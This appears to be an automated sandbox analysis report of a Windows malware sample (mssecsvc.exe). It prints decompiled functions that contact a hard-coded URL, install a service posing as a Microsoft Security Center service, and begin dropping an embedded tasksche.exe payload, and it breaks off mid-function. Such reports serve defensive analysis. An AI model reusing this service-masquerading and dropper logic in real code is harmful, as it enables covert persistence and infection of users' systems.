0x00409a80
0x00409a85
0x00409a8b
0x00409a92
0x00409a98
0x00409a99
0x00409a9e
0x00409aa3
0x00409aa8
0x00409ab2
0x00409acb
0x00409ad1
0x00409ad6
0x00409adb
0x00409ae8
0x00409aea
0x00409af0
0x00409b2c
0x00409b31
0x00409b32
0x00409b32
0x00409af2
0x00409af2
0x00409af2
0x00409af3
0x00409af6
0x00409af8
0x00409b03
0x00409b05
0x00409b05
0x00409b06
0x00409b06
0x00409b03
0x00409b09
0x00409b0d
0x00000000
0x00000000
0x00409b13
0x00409b1a
0x00409b24
0x00409b39
0x00409b26
0x00409b26
0x00409b26
0x00409b3a
0x00409b3b
0x00409b3c
0x00409b44
0x00409b45
0x00409b4a
0x00409b4e
0x00409b54
0x00409b59
0x00409b5b
0x00409b5e
0x00409b5f
0x00409b60
0x00409b67

APIs

__set_app_type.MSVCRT ref: 00409A43
__p__fmode.MSVCRT ref: 00409A58
__p__commode.MSVCRT ref: 00409A66
__setusermatherr.MSVCRT ref: 00409A92
_initterm.MSVCRT ref: 00409AA8
__getmainargs.MSVCRT ref: 00409ACB
_initterm.MSVCRT ref: 00409ADB
GetStartupInfoA.KERNEL32(?), ref: 00409B1A
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00409B3E
exit.KERNELBASE ref: 00409B4E
_XcptFilter.MSVCRT ref: 00409B60

Memory Dump Source

Source File: 00000004.00000002.402769227.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.402705721.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.402778474.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.402783803.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.402789038.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.402812173.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.402895877.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_mssecsvc.jbxd

Yara matches

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID:
API String ID: 801014965-0
Opcode ID: 372b72291a79fe7f323a7fd117d835006d69336e2c0488ca977e4fa79056e622
Instruction ID: f220c78e044b43db95b39954543cb8470338bddc8e57b6bf74c51ec52977e19a
Opcode Fuzzy Hash: 372b72291a79fe7f323a7fd117d835006d69336e2c0488ca977e4fa79056e622
Instruction Fuzzy Hash: AF415E71800348EFDB24DFA4ED45AAA7BB8FB09720F20413BE451A72D2D7786841CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00408140 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 46
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E00408140() {
				char* _v1;
				char* _v3;
				char* _v7;
				char* _v11;
				char* _v15;
				char* _v19;
				char* _v23;
				void _v80;
				char _v100;
				char* _t12;
				void* _t13;
				void* _t27;

				_t12 = memcpy( &_v80, "http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com", 0xe << 2);
				asm("movsb");
				_v23 = _t12;
				_v19 = _t12;
				_v15 = _t12;
				_v11 = _t12;
				_v7 = _t12;
				_v3 = _t12;
				_v1 = _t12;
				_t13 = InternetOpenA(_t12, 1, _t12, _t12, _t12); // executed
				_t27 = _t13;
				InternetOpenUrlA(_t27,  &_v100, 0, 0, 0x84000000, 0); // executed
				InternetCloseHandle(_t27); // executed
				InternetCloseHandle(0);
				E00408090();
				return 0;
			}

0x00408155
0x00408157
0x00408158
0x0040815c
0x00408160
0x00408164
0x00408168
0x0040816c
0x00408177
0x0040817b
0x0040818e
0x00408194
0x004081a7
0x004081ab
0x004081ad
0x004081b9

APIs

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040817B
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,84000000,00000000), ref: 00408194
InternetCloseHandle.WININET(00000000), ref: 004081A7
InternetCloseHandle.WININET(00000000), ref: 004081AB

Part of subcall function 00408090: GetModuleFileNameA.KERNEL32(00000000,0070F760,00000104,?,004081B2), ref: 0040809F
Part of subcall function 00408090: __p___argc.MSVCRT ref: 004080A5

Strings

http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com, xrefs: 0040814A

Memory Dump Source

Source File: 00000004.00000002.402769227.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.402705721.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.402778474.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.402783803.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.402789038.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.402812173.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.402895877.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_mssecsvc.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileModuleName__p___argc
String ID: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
API String ID: 774561529-2942426231
Opcode ID: 4b6db363f3c2a0039692f7716f941ccdaf41bdcfad687f466c5e8bce3354d2d7
Instruction ID: cdf7c9b464921ed547f6e9cf97b0948ff8b518ee0850ecae1f57fc3afa3cefd0
Opcode Fuzzy Hash: 4b6db363f3c2a0039692f7716f941ccdaf41bdcfad687f466c5e8bce3354d2d7
Instruction Fuzzy Hash: D20186719543106EE310DF348C05B6BBBE9EF85710F01082EF984F7280E6B59804876B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00407C40 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00407C40() {
				char _v260;
				void* _t15;
				void* _t17;

				sprintf( &_v260, "%s -m security", 0x70f760);
				_t15 = OpenSCManagerA(0, 0, 0xf003f);
				if(_t15 == 0) {
					return 0;
				} else {
					_t17 = CreateServiceA(_t15, "mssecsvc2.0", "Microsoft Security Center (2.0) Service", 0xf01ff, 0x10, 2, 1,  &_v260, 0, 0, 0, 0, 0);
					if(_t17 != 0) {
						StartServiceA(_t17, 0, 0);
						CloseServiceHandle(_t17);
					}
					CloseServiceHandle(_t15);
					return 0;
				}
			}

0x00407c56
0x00407c6e
0x00407c72
0x00407cd3
0x00407c74
0x00407ca7
0x00407cab
0x00407cb2
0x00407cb9
0x00407cb9
0x00407cbc
0x00407cc9
0x00407cc9

APIs

sprintf.MSVCRT ref: 00407C56
OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 00407C68
CreateServiceA.ADVAPI32(00000000,mssecsvc2.0,Microsoft Security Center (2.0) Service,000F01FF,00000010,00000002,00000001,?,00000000,00000000,00000000,00000000,00000000,6F54FB10,00000000), ref: 00407C9B
StartServiceA.ADVAPI32(00000000,00000000,00000000), ref: 00407CB2
CloseServiceHandle.ADVAPI32(00000000), ref: 00407CB9
CloseServiceHandle.ADVAPI32(00000000), ref: 00407CBC

Strings

Microsoft Security Center (2.0) Service, xrefs: 00407C90
mssecsvc2.0, xrefs: 00407C95
%s -m security, xrefs: 00407C50

Memory Dump Source

Source File: 00000004.00000002.402769227.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.402705721.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.402778474.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.402783803.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.402789038.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.402812173.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.402895877.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_mssecsvc.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$CreateManagerOpenStartsprintf
String ID: %s -m security$Microsoft Security Center (2.0) Service$mssecsvc2.0
API String ID: 3340711343-4063779371
Opcode ID: c3592d809756ac94f014d34e1e4fa0c14de5620095203194e3f9233ad68c92ee
Instruction ID: 2288e5cc66680fabefb91112cf05624c6df81315eb9d87428618c258e2ee617f
Opcode Fuzzy Hash: c3592d809756ac94f014d34e1e4fa0c14de5620095203194e3f9233ad68c92ee
Instruction Fuzzy Hash: AD01D1717C43043BF2305B149D8BFEB3658AB84F01F500025FB44B92D0DAF9A81491AF

Uniqueness

Uniqueness Score: -1.00%

Function 00408090 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 49
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00408090() {
				char* _v4;
				char* _v8;
				intOrPtr _v12;
				struct _SERVICE_TABLE_ENTRY _v16;
				long _t6;
				void* _t19;
				void* _t22;

				_t6 = GetModuleFileNameA(0, 0x70f760, 0x104);
				__imp____p___argc();
				_t26 =  *_t6 - 2;
				if( *_t6 >= 2) {
					_t19 = OpenSCManagerA(0, 0, 0xf003f);
					__eflags = _t19;
					if(_t19 != 0) {
						_t22 = OpenServiceA(_t19, "mssecsvc2.0", 0xf01ff);
						__eflags = _t22;
						if(_t22 != 0) {
							E00407FA0(_t22, 0x3c);
							CloseServiceHandle(_t22);
						}
						CloseServiceHandle(_t19);
					}
					_v16 = "mssecsvc2.0";
					_v12 = 0x408000;
					_v8 = 0;
					_v4 = 0;
					return StartServiceCtrlDispatcherA( &_v16);
				} else {
					return E00407F20(_t26);
				}
			}

0x0040809f
0x004080a5
0x004080ab
0x004080ae
0x004080c9
0x004080cb
0x004080cd
0x004080e8
0x004080ea
0x004080ec
0x004080f1
0x004080fa
0x004080fa
0x004080fd
0x00408100
0x00408105
0x0040810e
0x00408116
0x0040811e
0x00408130
0x004080b0
0x004080b8
0x004080b8

APIs

GetModuleFileNameA.KERNEL32(00000000,0070F760,00000104,?,004081B2), ref: 0040809F
__p___argc.MSVCRT ref: 004080A5
OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F,00000000,?,004081B2), ref: 004080C3
OpenServiceA.ADVAPI32(00000000,mssecsvc2.0,000F01FF,6F54FB10,00000000,?,004081B2), ref: 004080DC
CloseServiceHandle.ADVAPI32(00000000,?,?,?,004081B2), ref: 004080FA
CloseServiceHandle.ADVAPI32(00000000,?,004081B2), ref: 004080FD
StartServiceCtrlDispatcherA.ADVAPI32(?,?,?), ref: 00408126

Strings

mssecsvc2.0, xrefs: 004080D6, 00408105

Memory Dump Source

Source File: 00000004.00000002.402769227.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.402705721.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.402778474.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.402783803.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.402789038.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.402812173.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.402895877.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_mssecsvc.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpen$CtrlDispatcherFileManagerModuleNameStart__p___argc
String ID: mssecsvc2.0
API String ID: 4274534310-3729025388
Opcode ID: 14f2d0f9cf239aa653f070f930b60ae04978eb0b591616557438e437b3700a6a
Instruction ID: 0eddf8d8cc97b5ba853ece0b0f9ce4fe0dc31dc3004373c78c05f92e851b2f94
Opcode Fuzzy Hash: 14f2d0f9cf239aa653f070f930b60ae04978eb0b591616557438e437b3700a6a
Instruction Fuzzy Hash: 4A014775640315BBE3117F149E4AF6F3AA4EF80B19F404429F544762D2DFB888188AAF

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: mssecsvc.exePID: 7128, Parent PID: 588COMMON

Execution Graph

Execution Coverage:	36.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	35
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00408090 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 49
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00408090() {
				char* _v4;
				char* _v8;
				intOrPtr _v12;
				struct _SERVICE_TABLE_ENTRY _v16;
				long _t6;
				int _t9;
				void* _t19;
				void* _t22;

				_t6 = GetModuleFileNameA(0, 0x70f760, 0x104);
				__imp____p___argc();
				_t26 =  *_t6 - 2;
				if( *_t6 >= 2) {
					_t19 = OpenSCManagerA(0, 0, 0xf003f);
					__eflags = _t19;
					if(_t19 != 0) {
						_t22 = OpenServiceA(_t19, "mssecsvc2.0", 0xf01ff);
						__eflags = _t22;
						if(_t22 != 0) {
							E00407FA0(_t22, 0x3c);
							CloseServiceHandle(_t22);
						}
						CloseServiceHandle(_t19);
					}
					_v16 = "mssecsvc2.0";
					_v12 = 0x408000;
					_v8 = 0;
					_v4 = 0;
					_t9 = StartServiceCtrlDispatcherA( &_v16); // executed
					return _t9;
				} else {
					return E00407F20(_t26);
				}
			}

APIs

GetModuleFileNameA.KERNEL32(00000000,0070F760,00000104,?,004081B2), ref: 0040809F
__p___argc.MSVCRT ref: 004080A5
OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F,00000000,?,004081B2), ref: 004080C3
OpenServiceA.ADVAPI32(00000000,mssecsvc2.0,000F01FF,6F54FB10,00000000,?,004081B2), ref: 004080DC
CloseServiceHandle.ADVAPI32(00000000,?,?,?,004081B2), ref: 004080FA
CloseServiceHandle.ADVAPI32(00000000,?,004081B2), ref: 004080FD
StartServiceCtrlDispatcherA.ADVAPI32(?,?,?), ref: 00408126

Strings

mssecsvc2.0, xrefs: 004080D6, 00408105

Memory Dump Source

Source File: 00000007.00000002.988989089.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.988978588.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.989008193.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.989014940.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.989025229.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.989090539.000000000042E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.989106393.000000000042F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.989175243.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.989227568.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_mssecsvc.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpen$CtrlDispatcherFileManagerModuleNameStart__p___argc
String ID: mssecsvc2.0
API String ID: 4274534310-3729025388
Opcode ID: 14f2d0f9cf239aa653f070f930b60ae04978eb0b591616557438e437b3700a6a
Instruction ID: 0eddf8d8cc97b5ba853ece0b0f9ce4fe0dc31dc3004373c78c05f92e851b2f94
Opcode Fuzzy Hash: 14f2d0f9cf239aa653f070f930b60ae04978eb0b591616557438e437b3700a6a
Instruction Fuzzy Hash: 4A014775640315BBE3117F149E4AF6F3AA4EF80B19F404429F544762D2DFB888188AAF

Uniqueness

Uniqueness Score: -1.00%

Function 00409A16 Relevance: 16.6, APIs: 11, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			_entry_(void* __ebx, void* __edi, void* __esi) {
				CHAR* _v8;
				intOrPtr* _v24;
				intOrPtr _v28;
				struct _STARTUPINFOA _v96;
				int _v100;
				char** _v104;
				int _v108;
				void _v112;
				char** _v116;
				intOrPtr* _v120;
				intOrPtr _v124;
				void* _t27;
				intOrPtr _t36;
				signed int _t38;
				int _t40;
				intOrPtr* _t41;
				intOrPtr _t42;
				intOrPtr _t49;
				intOrPtr* _t55;
				intOrPtr _t58;
				intOrPtr _t61;

				_push(0xffffffff);
				_push(0x40a1a0);
				_push(0x409ba2);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t58;
				_v28 = _t58 - 0x68;
				_v8 = 0;
				__set_app_type(2);
				 *0x70f894 =  *0x70f894 | 0xffffffff;
				 *0x70f898 =  *0x70f898 | 0xffffffff;
				 *(__p__fmode()) =  *0x70f88c;
				 *(__p__commode()) =  *0x70f888;
				 *0x70f890 = _adjust_fdiv;
				_t27 = E00409BA1( *_adjust_fdiv);
				_t61 =  *0x431410; // 0x1
				if(_t61 == 0) {
					__setusermatherr(E00409B9E);
				}
				E00409B8C(_t27);
				_push(0x40b010);
				_push(0x40b00c);
				L00409B86();
				_v112 =  *0x70f884;
				__getmainargs( &_v100,  &_v116,  &_v104,  *0x70f880,  &_v112);
				_push(0x40b008);
				_push(0x40b000); // executed
				L00409B86(); // executed
				_t55 =  *_acmdln;
				_v120 = _t55;
				if( *_t55 != 0x22) {
					while( *_t55 > 0x20) {
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				} else {
					do {
						_t55 = _t55 + 1;
						_v120 = _t55;
						_t42 =  *_t55;
					} while (_t42 != 0 && _t42 != 0x22);
					if( *_t55 == 0x22) {
						L6:
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				}
				_t36 =  *_t55;
				if(_t36 != 0 && _t36 <= 0x20) {
					goto L6;
				}
				_v96.dwFlags = 0;
				GetStartupInfoA( &_v96);
				if((_v96.dwFlags & 0x00000001) == 0) {
					_t38 = 0xa;
				} else {
					_t38 = _v96.wShowWindow & 0x0000ffff;
				}
				_push(_t38);
				_push(_t55);
				_push(0);
				_push(GetModuleHandleA(0));
				_t40 = E00408140();
				_v108 = _t40;
				exit(_t40);
				_t41 = _v24;
				_t49 =  *((intOrPtr*)( *_t41));
				_v124 = _t49;
				_push(_t41);
				_push(_t49);
				L00409B80();
				return _t41;
			}

APIs

__set_app_type.MSVCRT ref: 00409A43
__p__fmode.MSVCRT ref: 00409A58
__p__commode.MSVCRT ref: 00409A66
__setusermatherr.MSVCRT ref: 00409A92
_initterm.MSVCRT ref: 00409AA8
__getmainargs.MSVCRT ref: 00409ACB
_initterm.MSVCRT ref: 00409ADB
GetStartupInfoA.KERNEL32(?), ref: 00409B1A
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00409B3E
exit.MSVCRT ref: 00409B4E
_XcptFilter.MSVCRT ref: 00409B60

Memory Dump Source

Source File: 00000007.00000002.988989089.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.988978588.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.989008193.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.989014940.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.989025229.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.989090539.000000000042E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.989106393.000000000042F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.989175243.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.989227568.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_mssecsvc.jbxd

Yara matches

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID:
API String ID: 801014965-0
Opcode ID: 372b72291a79fe7f323a7fd117d835006d69336e2c0488ca977e4fa79056e622
Instruction ID: f220c78e044b43db95b39954543cb8470338bddc8e57b6bf74c51ec52977e19a
Opcode Fuzzy Hash: 372b72291a79fe7f323a7fd117d835006d69336e2c0488ca977e4fa79056e622
Instruction Fuzzy Hash: AF415E71800348EFDB24DFA4ED45AAA7BB8FB09720F20413BE451A72D2D7786841CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00408140 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 46
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E00408140() {
				char* _v1;
				char* _v3;
				char* _v7;
				char* _v11;
				char* _v15;
				char* _v19;
				char* _v23;
				void _v80;
				char _v100;
				char* _t12;
				void* _t13;
				void* _t27;

				_t12 = memcpy( &_v80, "http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com", 0xe << 2);
				asm("movsb");
				_v23 = _t12;
				_v19 = _t12;
				_v15 = _t12;
				_v11 = _t12;
				_v7 = _t12;
				_v3 = _t12;
				_v1 = _t12;
				_t13 = InternetOpenA(_t12, 1, _t12, _t12, _t12); // executed
				_t27 = _t13;
				InternetOpenUrlA(_t27,  &_v100, 0, 0, 0x84000000, 0); // executed
				InternetCloseHandle(_t27); // executed
				InternetCloseHandle(0);
				E00408090();
				return 0;
			}

0x00408155
0x00408157
0x00408158
0x0040815c
0x00408160
0x00408164
0x00408168
0x0040816c
0x00408177
0x0040817b
0x0040818e
0x00408194
0x004081a7
0x004081ab
0x004081ad
0x004081b9

APIs

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040817B
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,84000000,00000000), ref: 00408194
InternetCloseHandle.WININET(00000000), ref: 004081A7
InternetCloseHandle.WININET(00000000), ref: 004081AB

Part of subcall function 00408090: GetModuleFileNameA.KERNEL32(00000000,0070F760,00000104,?,004081B2), ref: 0040809F
Part of subcall function 00408090: __p___argc.MSVCRT ref: 004080A5

Strings

http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com, xrefs: 0040814A

Memory Dump Source

Source File: 00000007.00000002.988989089.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.988978588.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.989008193.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.989014940.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.989025229.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.989090539.000000000042E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.989106393.000000000042F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.989175243.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.989227568.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_mssecsvc.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileModuleName__p___argc
String ID: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
API String ID: 774561529-2942426231
Opcode ID: 4b6db363f3c2a0039692f7716f941ccdaf41bdcfad687f466c5e8bce3354d2d7
Instruction ID: cdf7c9b464921ed547f6e9cf97b0948ff8b518ee0850ecae1f57fc3afa3cefd0
Opcode Fuzzy Hash: 4b6db363f3c2a0039692f7716f941ccdaf41bdcfad687f466c5e8bce3354d2d7
Instruction Fuzzy Hash: D20186719543106EE310DF348C05B6BBBE9EF85710F01082EF984F7280E6B59804876B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00407C40 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00407C40() {
				char _v260;
				void* _t15;
				void* _t17;

				sprintf( &_v260, "%s -m security", 0x70f760);
				_t15 = OpenSCManagerA(0, 0, 0xf003f);
				if(_t15 == 0) {
					return 0;
				} else {
					_t17 = CreateServiceA(_t15, "mssecsvc2.0", "Microsoft Security Center (2.0) Service", 0xf01ff, 0x10, 2, 1,  &_v260, 0, 0, 0, 0, 0);
					if(_t17 != 0) {
						StartServiceA(_t17, 0, 0);
						CloseServiceHandle(_t17);
					}
					CloseServiceHandle(_t15);
					return 0;
				}
			}

0x00407c56
0x00407c6e
0x00407c72
0x00407cd3
0x00407c74
0x00407ca7
0x00407cab
0x00407cb2
0x00407cb9
0x00407cb9
0x00407cbc
0x00407cc9
0x00407cc9

APIs

sprintf.MSVCRT ref: 00407C56
OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 00407C68
CreateServiceA.ADVAPI32(00000000,mssecsvc2.0,Microsoft Security Center (2.0) Service,000F01FF,00000010,00000002,00000001,?,00000000,00000000,00000000,00000000,00000000,6F54FB10,00000000), ref: 00407C9B
StartServiceA.ADVAPI32(00000000,00000000,00000000), ref: 00407CB2
CloseServiceHandle.ADVAPI32(00000000), ref: 00407CB9
CloseServiceHandle.ADVAPI32(00000000), ref: 00407CBC

Strings

mssecsvc2.0, xrefs: 00407C95
%s -m security, xrefs: 00407C50
Microsoft Security Center (2.0) Service, xrefs: 00407C90

Memory Dump Source

Source File: 00000007.00000002.988989089.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.988978588.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.989008193.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.989014940.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.989025229.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.989090539.000000000042E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.989106393.000000000042F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.989175243.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.989227568.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_mssecsvc.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$CreateManagerOpenStartsprintf
String ID: %s -m security$Microsoft Security Center (2.0) Service$mssecsvc2.0
API String ID: 3340711343-4063779371
Opcode ID: c3592d809756ac94f014d34e1e4fa0c14de5620095203194e3f9233ad68c92ee
Instruction ID: 2288e5cc66680fabefb91112cf05624c6df81315eb9d87428618c258e2ee617f
Opcode Fuzzy Hash: c3592d809756ac94f014d34e1e4fa0c14de5620095203194e3f9233ad68c92ee
Instruction Fuzzy Hash: AD01D1717C43043BF2305B149D8BFEB3658AB84F01F500025FB44B92D0DAF9A81491AF

Uniqueness

Uniqueness Score: -1.00%

Function 00407CE0 Relevance: 40.4, APIs: 12, Strings: 11, Instructions: 175
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 36%

			E00407CE0() {
				void _v259;
				char _v260;
				void _v519;
				char _v520;
				char _v572;
				short _v592;
				intOrPtr _v596;
				void* _v608;
				void _v636;
				char _v640;
				intOrPtr _v644;
				intOrPtr _v648;
				intOrPtr _v652;
				char _v656;
				intOrPtr _v692;
				intOrPtr _v700;
				_Unknown_base(*)()* _t36;
				void* _t38;
				void* _t39;
				intOrPtr _t64;
				struct HINSTANCE__* _t104;
				struct HRSRC__* _t105;
				void* _t107;
				void* _t108;
				long _t109;
				intOrPtr _t121;
				intOrPtr _t122;

				_t104 = GetModuleHandleW(L"kernel32.dll");
				if(_t104 != 0) {
					 *0x431478 = GetProcAddress(_t104, "CreateProcessA");
					 *0x431458 = GetProcAddress(_t104, "CreateFileA");
					 *0x431460 = GetProcAddress(_t104, "WriteFile");
					_t36 = GetProcAddress(_t104, "CloseHandle");
					_t64 =  *0x431478; // 0x0
					 *0x43144c = _t36;
					if(_t64 != 0) {
						_t121 =  *0x431458; // 0x0
						if(_t121 != 0) {
							_t122 =  *0x431460; // 0x0
							if(_t122 != 0 && _t36 != 0) {
								_t105 = FindResourceA(0, 0x727, "R");
								if(_t105 != 0) {
									_t38 = LoadResource(0, _t105);
									if(_t38 != 0) {
										_t39 = LockResource(_t38);
										_v608 = _t39;
										if(_t39 != 0) {
											_t109 = SizeofResource(0, _t105);
											if(_t109 != 0) {
												_v520 = 0;
												memset( &_v519, 0, 0x40 << 2);
												asm("stosw");
												asm("stosb");
												_v260 = 0;
												memset( &_v259, 0, 0x40 << 2);
												asm("stosw");
												asm("stosb");
												sprintf( &_v520, "C:\\%s\\%s", "WINDOWS", "tasksche.exe");
												sprintf( &_v260, "C:\\%s\\qeriuwjhrf", "WINDOWS");
